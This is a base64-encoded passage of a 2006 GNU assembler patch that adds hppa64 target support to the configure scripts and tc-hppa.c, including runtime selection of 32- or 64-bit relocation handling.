dCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQog
ICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2
YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNzk4MSw4ICs3OTUxLDcgQEAg
aWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0
LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUN
CiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nf
d2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3Ry
eT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5l
cnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0K
ICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtODA0Myw4ICs4MDEy
LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNv
bmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVz
IiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAi
JGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7
IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25m
dGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIp
ID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtODEwNyw4
ICs4MDc1LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAg
Y2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNf
c3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVz
dCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnIn
DQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAt
cyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190
cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAt
ODE4NSw4ICs4MTUyLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNf
bA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8g
PSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3Ry
eT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVz
dC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRl
c3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBc
IiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/
DQpAQCAtODI3OSw4ICs4MjQ1LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzog
XCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5P
OiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7
IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBj
b25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJ
IHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElO
RU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3Rh
dHVzPSQ/DQpAQCAtODM0Miw4ICs4MzA3LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJ
TkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTok
TElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYm
DQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3Qg
ISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2Zs
YWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19t
ZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAg
YWNfc3RhdHVzPSQ/DQpAQCAtODQwOSw4ICs4MzczLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNf
bWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRh
c19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMp
OyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8
IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vy
cm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8g
IiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4m
NQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtODQ3Niw4ICs4NDM5LDcgQEAgaWYgeyAoZXZhbCBlY2hv
ICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVj
aG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19z
dGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQot
CQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFj
X2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFs
IGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3Ry
eSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtODU0Myw4ICs4NTA1LDcgQEAgaWYgeyAoZXZh
bCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUN
CiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0
ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2Zs
YWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAt
eiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7
IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwg
JGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtODYxMCw4ICs4NTcxLDcgQEAgaWYg
eyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVy
ciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAg
IChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vy
cm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0n
dGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnIn
DQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAg
KGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtODY3Nyw4ICs4NjM3LDcg
QEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0
ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+
JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFj
X2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFj
X3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVz
dC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4m
NQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtODc0NCw4ICs4
NzAzLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0
IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3Rh
dHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAt
eiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQor
CSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBj
b25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlc
IiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtODgx
MCw4ICs4NzY4LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0K
ICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAk
YWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0n
dGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5l
cnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3Qg
ISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRh
Y190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpA
QCAtOTc5NSwxMSArOTc1Miw2IEBAIGVzYWMNCiAgICopIGFjX0lOU1RBTEw9JGFjX3RvcF9idWls
ZGRpciRJTlNUQUxMIDs7DQogICBlc2FjDQogDQotICBpZiB0ZXN0IHgiJGFjX2ZpbGUiICE9IHgt
OyB0aGVuDQotICAgIHsgZWNobyAiJGFzX21lOiRMSU5FTk86IGNyZWF0aW5nICRhY19maWxlIiA+
JjUNCi1lY2hvICIkYXNfbWU6IGNyZWF0aW5nICRhY19maWxlIiA+JjY7fQ0KLSAgICBybSAtZiAi
JGFjX2ZpbGUiDQotICBmaQ0KICAgIyBMZXQncyBzdGlsbCBwcmV0ZW5kIGl0IGlzIGBjb25maWd1
cmUnIHdoaWNoIGluc3RhbnRpYXRlcyAoaS5lLiwgZG9uJ3QNCiAgICMgdXNlICRhc19tZSksIHBl
b3BsZSB3b3VsZCBiZSBzdXJwcmlzZWQgdG8gcmVhZDoNCiAgICMgICAgLyogY29uZmlnLmguICBH
ZW5lcmF0ZWQgYnkgY29uZmlnLnN0YXR1cy4gICovDQpAQCAtOTgzOCw2ICs5NzkwLDEyIEBAIGVj
aG8gIiRhc19tZTogZXJyb3I6IGNhbm5vdCBmaW5kIGlucHV0IGYNCiAJIGZpOzsNCiAgICAgICBl
c2FjDQogICAgIGRvbmVgIHx8IHsgKGV4aXQgMSk7IGV4aXQgMTsgfQ0KKw0KKyAgaWYgdGVzdCB4
IiRhY19maWxlIiAhPSB4LTsgdGhlbg0KKyAgICB7IGVjaG8gIiRhc19tZTokTElORU5POiBjcmVh
dGluZyAkYWNfZmlsZSIgPiY1DQorZWNobyAiJGFzX21lOiBjcmVhdGluZyAkYWNfZmlsZSIgPiY2
O30NCisgICAgcm0gLWYgIiRhY19maWxlIg0KKyAgZmkNCiBfQUNFT0YNCiBjYXQgPj4kQ09ORklH
X1NUQVRVUyA8PF9BQ0VPRg0KICAgc2VkICIkYWNfdnBzdWINCkluZGV4OiBjb25maWd1cmUuaW4N
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0NClJDUyBmaWxlOiAvY3ZzL3NyYy9zcmMvZ2FzL2NvbmZpZ3VyZS5pbix2DQpy
ZXRyaWV2aW5nIHJldmlzaW9uIDEuMTk0DQpkaWZmIC11IC1wIC1yMS4xOTQgY29uZmlndXJlLmlu
DQotLS0gY29uZmlndXJlLmluCTIwIFNlcCAyMDA2IDExOjM1OjExIC0wMDAwCTEuMTk0DQorKysg
Y29uZmlndXJlLmluCTIyIE9jdCAyMDA2IDE3OjE0OjU4IC0wMDAwDQpAQCAtMzI1LDcgKzMyNSw3
IEBAIGNoYW5nZXF1b3RlKFssXSlkbmwNCiAgICAgICAgIHVzaW5nX2NnZW49eWVzDQogCTs7DQog
DQotICAgICAgaTM4NiB8IHMzOTAgfCBzcGFyYykNCisgICAgICBpMzg2IHwgczM5MCB8IHNwYXJj
IHwgaHBwYSkNCiAJaWYgdGVzdCAkdGhpc190YXJnZXQgPSAkdGFyZ2V0IDsgdGhlbg0KIAkgIEFD
X0RFRklORV9VTlFVT1RFRChERUZBVUxUX0FSQ0gsICIke2FyY2h9IiwgW0RlZmF1bHQgYXJjaGl0
ZWN0dXJlLl0pDQogCWZpDQpJbmRleDogY29uZmlndXJlLnRndA0KPT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZp
bGU6IC9jdnMvc3JjL3NyYy9nYXMvY29uZmlndXJlLnRndCx2DQpyZXRyaWV2aW5nIHJldmlzaW9u
IDEuMjkNCmRpZmYgLXUgLXAgLXIxLjI5IGNvbmZpZ3VyZS50Z3QNCi0tLSBjb25maWd1cmUudGd0
CTIwIFNlcCAyMDA2IDExOjM1OjExIC0wMDAwCTEuMjkNCisrKyBjb25maWd1cmUudGd0CTIyIE9j
dCAyMDA2IDE3OjE0OjU4IC0wMDAwDQpAQCAtMzcsNyArMzcsOCBAQCBjYXNlICR7Y3B1fSBpbg0K
ICAgYzR4KikJCQljcHVfdHlwZT10aWM0eCA7Ow0KICAgY3Jpc3YzMikJCWNwdV90eXBlPWNyaXMg
YXJjaD1jcmlzdjMyIDs7DQogICBjcngqKQkJCWNwdV90eXBlPWNyeCBlbmRpYW49bGl0dGxlIDs7
DQotICBocHBhKikJCWNwdV90eXBlPWhwcGEgOzsNCisgIGhwcGEpCQkJY3B1X3R5cGU9aHBwYSBh
cmNoPWhwcGE7Ow0KKyAgaHBwYTY0KQkJY3B1X3R5cGU9aHBwYSBhcmNoPWhwcGE2NDs7DQogICBp
WzMtN104NikJCWNwdV90eXBlPWkzODYgYXJjaD1pMzg2OzsNCiAgIGlhNjQpCQkJY3B1X3R5cGU9
aWE2NCA7Ow0KICAgaXAyaykJCQljcHVfdHlwZT1pcDJrIGVuZGlhbj1iaWcgOzsgDQpJbmRleDog
Y29uZmlnL3RjLWhwcGEuYw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC9jdnMvc3JjL3NyYy9nYXMv
Y29uZmlnL3RjLWhwcGEuYyx2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuMTMyDQpkaWZmIC11IC1w
IC1yMS4xMzIgdGMtaHBwYS5jDQotLS0gY29uZmlnL3RjLWhwcGEuYwk3IEp1biAyMDA2IDExOjI3
OjU3IC0wMDAwCTEuMTMyDQorKysgY29uZmlnL3RjLWhwcGEuYwkyMiBPY3QgMjAwNiAxNzoxNDo1
OCAtMDAwMA0KQEAgLTQ0LDYgKzQ0LDE4IEBAIGVycm9yIG9ubHkgb25lIG9mIE9CSl9FTEYgYW5k
IE9CSl9TT00gY2ENCiAvKiBBICJjb252ZW5pZW50IiBwbGFjZSB0byBwdXQgb2JqZWN0IGZpbGUg
ZGVwZW5kZW5jaWVzIHdoaWNoIGRvDQogICAgbm90IG5lZWQgdG8gYmUgc2VlbiBvdXRzaWRlIG9m
IHRjLWhwcGEuYy4gICovDQogDQorLyogRWl0aGVyIDMyIG9yIDY0LCBzZWxlY3RzIGZpbGUgZm9y
bWF0LiAqLw0KK3N0YXRpYyBpbnQgaHBwYV9hcmNoX3NpemU7DQorDQorLyogU3RvcmUgdGhlIEJG
RCBtYWNoaW5lIHR5cGUgKi8NCitzdGF0aWMgdW5zaWduZWQgbG9uZyBiZmRfbWFjaDsNCisNCisv
KiBUaGUgZGVmYXVsdCBhcmNoaXRlY3R1cmUgKi8NCisjaWZuZGVmIERFRkFVTFRfQVJDSA0KKyNk
ZWZpbmUgREVGQVVMVF9BUkNIICJocHBhIg0KKyNlbmRpZg0KK3N0YXRpYyBjaGFyICpkZWZhdWx0
X2FyY2ggPSBERUZBVUxUX0FSQ0g7DQorDQogLyogT2JqZWN0IGZpbGUgZm9ybWF0cyBzcGVjaWZ5
IHJlbG9jYXRpb24gdHlwZXMuICAqLw0KIHR5cGVkZWYgZW51bSBlbGZfaHBwYV9yZWxvY190eXBl
IHJlbG9jX3R5cGU7DQogDQpAQCAtNTIsMTQgKzY0LDkgQEAgdHlwZWRlZiBlbGZfc3ltYm9sX3R5
cGUgb2JqX3N5bWJvbF90eXBlOw0KICNkZWZpbmUgc3ltYm9sX2FyZ19yZWxvY19pbmZvKHN5bSlc
DQogICAoKChvYmpfc3ltYm9sX3R5cGUgKikgc3ltYm9sX2dldF9iZmRzeW0gKHN5bSkpLT50Y19k
YXRhLmhwcGFfYXJnX3JlbG9jKQ0KIA0KLSNpZiBUQVJHRVRfQVJDSF9TSVpFID09IDY0DQotLyog
SG93IHRvIGdlbmVyYXRlIGEgcmVsb2NhdGlvbi4gICovDQotI2RlZmluZSBocHBhX2dlbl9yZWxv
Y190eXBlIF9iZmRfZWxmNjRfaHBwYV9nZW5fcmVsb2NfdHlwZQ0KLSNkZWZpbmUgZWxmX2hwcGFf
cmVsb2NfZmluYWxfdHlwZSBlbGY2NF9ocHBhX3JlbG9jX2ZpbmFsX3R5cGUNCi0jZWxzZQ0KLSNk
ZWZpbmUgaHBwYV9nZW5fcmVsb2NfdHlwZSBfYmZkX2VsZjMyX2hwcGFfZ2VuX3JlbG9jX3R5cGUN
Ci0jZGVmaW5lIGVsZl9ocHBhX3JlbG9jX2ZpbmFsX3R5cGUgZWxmMzJfaHBwYV9yZWxvY19maW5h
bF90eXBlDQotI2VuZGlmDQorLyogRnVuY3Rpb24gcG9pbnRlciB0byB0ZWxsIHVzIGhvdyB0byBn
ZW5lcmF0ZSBhIHJlbG9jYXRpb24uICAqLw0KK2VsZl9ocHBhX3JlbG9jX3R5cGUqKiAoKmhwcGFf
Z2VuX3JlbG9jX3R5cGUpKGJmZCosIGVsZl9ocHBhX3JlbG9jX3R5cGUsIGludCwgdW5zaWduZWQg
aW50LCBpbnQsIGFzeW1ib2wqKTsNCitlbGZfaHBwYV9yZWxvY190eXBlICgqZWxmX2hwcGFfcmVs
b2NfZmluYWxfdHlwZSkoYmZkKiwgZWxmX2hwcGFfcmVsb2NfdHlwZSwgaW50LCB1bnNpZ25lZCBp
bnQpOw0KIA0KIC8qIEVMRiBvYmplY3RzIGNhbiBoYXZlIHZlcnNpb25zLCBidXQgYXBwYXJlbnRs
eSBkbyBub3QgaGF2ZSBhbnl3aGVyZQ0KICAgIHRvIHN0b3JlIGEgY29weXJpZ2h0IHN0cmluZy4g
ICovDQpAQCAtMTA1LDEyICsxMTIsNiBAQCB0eXBlZGVmIHNvbV9zeW1ib2xfdHlwZSBvYmpfc3lt
Ym9sX3R5cGU7DQogI2VuZGlmDQogI2VuZGlmIC8qIE9CSl9TT00gKi8NCiANCi0jaWYgVEFSR0VU
X0FSQ0hfU0laRSA9PSA2NA0KLSNkZWZpbmUgREVGQVVMVF9MRVZFTCAyNQ0KLSNlbHNlDQotI2Rl
ZmluZSBERUZBVUxUX0xFVkVMIDEwDQotI2VuZGlmDQotDQogLyogVmFyaW91cyBzdHJ1Y3R1cmVz
IGFuZCB0eXBlcyB1c2VkIGludGVybmFsbHkgaW4gdGMtaHBwYS5jLiAgKi8NCiANCiAvKiBVbndp
bmQgdGFibGUgYW5kIGRlc2NyaXB0b3IuICBGSVhNRTogU3luYyB0aGlzIHdpdGggR0RCIHZlcnNp
b24uICAqLw0KQEAgLTQ2Niw2ICs0NjcsNyBAQCBzdHJ1Y3QgaHBwYV9maXhfc3RydWN0DQogc3Ry
dWN0IHBkX3JlZw0KICAgew0KICAgICBjaGFyICpuYW1lOw0KKyAgICB1bnNpZ25lZCBsb25nIG1h
Y2g7DQogICAgIGludCB2YWx1ZTsNCiAgIH07DQogDQpAQCAtNDg1LDYgKzQ4NywxMiBAQCBzdHJ1
Y3Qgc2VsZWN0b3JfZW50cnkNCiAgICAgaW50IGZpZWxkX3NlbGVjdG9yOw0KICAgfTsNCiANCisv
KiBTZXR1cCBhcmNoaXRlY3R1cmUgaW5mb3JtYXRpb24gZm9yIDMyIG9yIDY0IGJpdCAqLw0KK3N0
YXRpYyB2b2lkIGluaXRfZGVmYXVsdF9hcmNoICh2b2lkKTsNCisNCisvKiBTZXR1cCByZWdpc3Rl
ciBoYXNoLCBjYWxsZWQgZnJvbSBpbml0X2RlZmF1bHRfYXJjaCAqLw0KK3N0YXRpYyB2b2lkIHNl
dHVwX3JlZ19oYXNoICh2b2lkKTsNCisNCiAvKiBQcm90b3R5cGVzIGZvciBmdW5jdGlvbnMgbG9j
YWwgdG8gdGMtaHBwYS5jLiAgKi8NCiANCiAjaWZkZWYgT0JKX1NPTQ0KQEAgLTY2MSwyMjYgKzY2
OSwyMjkgQEAgc3RhdGljIGludCBwcmludF9lcnJvcnMgPSAxOw0KICAgIEFsbW9zdCBldmVyeSBj
b250cm9sIHJlZ2lzdGVyIGhhcyBhIHN5bm9ueW07IHRoZXkgYXJlIG5vdCBsaXN0ZWQNCiAgICBo
ZXJlIGZvciBicmV2aXR5Lg0KIA0KLSAgIFRoZSB0YWJsZSBpcyBzb3J0ZWQuIFN1aXRhYmxlIGZv
ciBzZWFyY2hpbmcgYnkgYSBiaW5hcnkgc2VhcmNoLiAgKi8NCisgICBUaGUgdGFibGUgaXMgc29y
dGVkLCBidXQgbWlnaHQgaGF2ZSBkdXBsaWNhdGUgbmFtZXMgaWYgYSByZWdpc3Rlcg0KKyAgIGlz
IGRlZmluZWQgZGlmZmVyZW50bHkgZm9yIGRpZmZlcmVudCBtYWNoaW5lcy4gIFNlZSBtcnAgZm9y
IGFuDQorICAgZXhhbXBsZS4gIFRoZSBtb3JlIGdlbmVyYWxseSBzdXBwb3J0ZWQgcmVnaXN0ZXIg
ZGVmaW5pdGlvbnMgbXVzdA0KKyAgIGNvbWUgTEFTVC4gKi8NCiANCiBzdGF0aWMgY29uc3Qgc3Ry
dWN0IHBkX3JlZyBwcmVfZGVmaW5lZF9yZWdpc3RlcnNbXSA9DQogew0KLSAgeyIlYXJnMCIsICAy
Nn0sDQotICB7IiVhcmcxIiwgIDI1fSwNCi0gIHsiJWFyZzIiLCAgMjR9LA0KLSAgeyIlYXJnMyIs
ICAyM30sDQotICB7IiVjcjAiLCAgICAwfSwNCi0gIHsiJWNyMTAiLCAgMTB9LA0KLSAgeyIlY3Ix
MSIsICAxMX0sDQotICB7IiVjcjEyIiwgIDEyfSwNCi0gIHsiJWNyMTMiLCAgMTN9LA0KLSAgeyIl
Y3IxNCIsICAxNH0sDQotICB7IiVjcjE1IiwgIDE1fSwNCi0gIHsiJWNyMTYiLCAgMTZ9LA0KLSAg
eyIlY3IxNyIsICAxN30sDQotICB7IiVjcjE4IiwgIDE4fSwNCi0gIHsiJWNyMTkiLCAgMTl9LA0K
LSAgeyIlY3IyMCIsICAyMH0sDQotICB7IiVjcjIxIiwgIDIxfSwNCi0gIHsiJWNyMjIiLCAgMjJ9
LA0KLSAgeyIlY3IyMyIsICAyM30sDQotICB7IiVjcjI0IiwgIDI0fSwNCi0gIHsiJWNyMjUiLCAg
MjV9LA0KLSAgeyIlY3IyNiIsICAyNn0sDQotICB7IiVjcjI3IiwgIDI3fSwNCi0gIHsiJWNyMjgi
LCAgMjh9LA0KLSAgeyIlY3IyOSIsICAyOX0sDQotICB7IiVjcjMwIiwgIDMwfSwNCi0gIHsiJWNy
MzEiLCAgMzF9LA0KLSAgeyIlY3I4IiwgICAgOH0sDQotICB7IiVjcjkiLCAgICA5fSwNCi0gIHsi
JWRwIiwgICAgMjd9LA0KLSAgeyIlZWllbSIsICAxNX0sDQotICB7IiVlaXJyIiwgIDIzfSwNCi0g
IHsiJWZhcmcwIiwgIDQgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmYXJnMSIsICA1ICsgRlBfUkVH
X0JBU0V9LA0KLSAgeyIlZmFyZzIiLCAgNiArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZhcmczIiwg
IDcgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjAiLCAgICAwICsgRlBfUkVHX0JBU0V9LA0KLSAg
eyIlZnIwbCIsICAgMCArIEZQX1JFR19CQVNFfSwNCi0gIHsiJWZyMHIiLCAgIDAgKyBGUF9SRUdf
QkFTRSArIEZQX1JFR19SU0VMfSwNCi0gIHsiJWZyMSIsICAgIDEgKyBGUF9SRUdfQkFTRX0sDQot
ICB7IiVmcjEwIiwgIDEwICsgRlBfUkVHX0JBU0V9LA0KLSAgeyIlZnIxMGwiLCAxMCArIEZQX1JF
R19CQVNFfSwNCi0gIHsiJWZyMTByIiwgMTAgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwN
Ci0gIHsiJWZyMTEiLCAgMTEgKyBGUF9SRUdfQkFTRX0sDQotICB7IiVmcjExbCIsIDExICsgRlBf
UkVHX0JBU0V9LA0KLSAgeyIlZnIxMXIiLCAxMSArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9
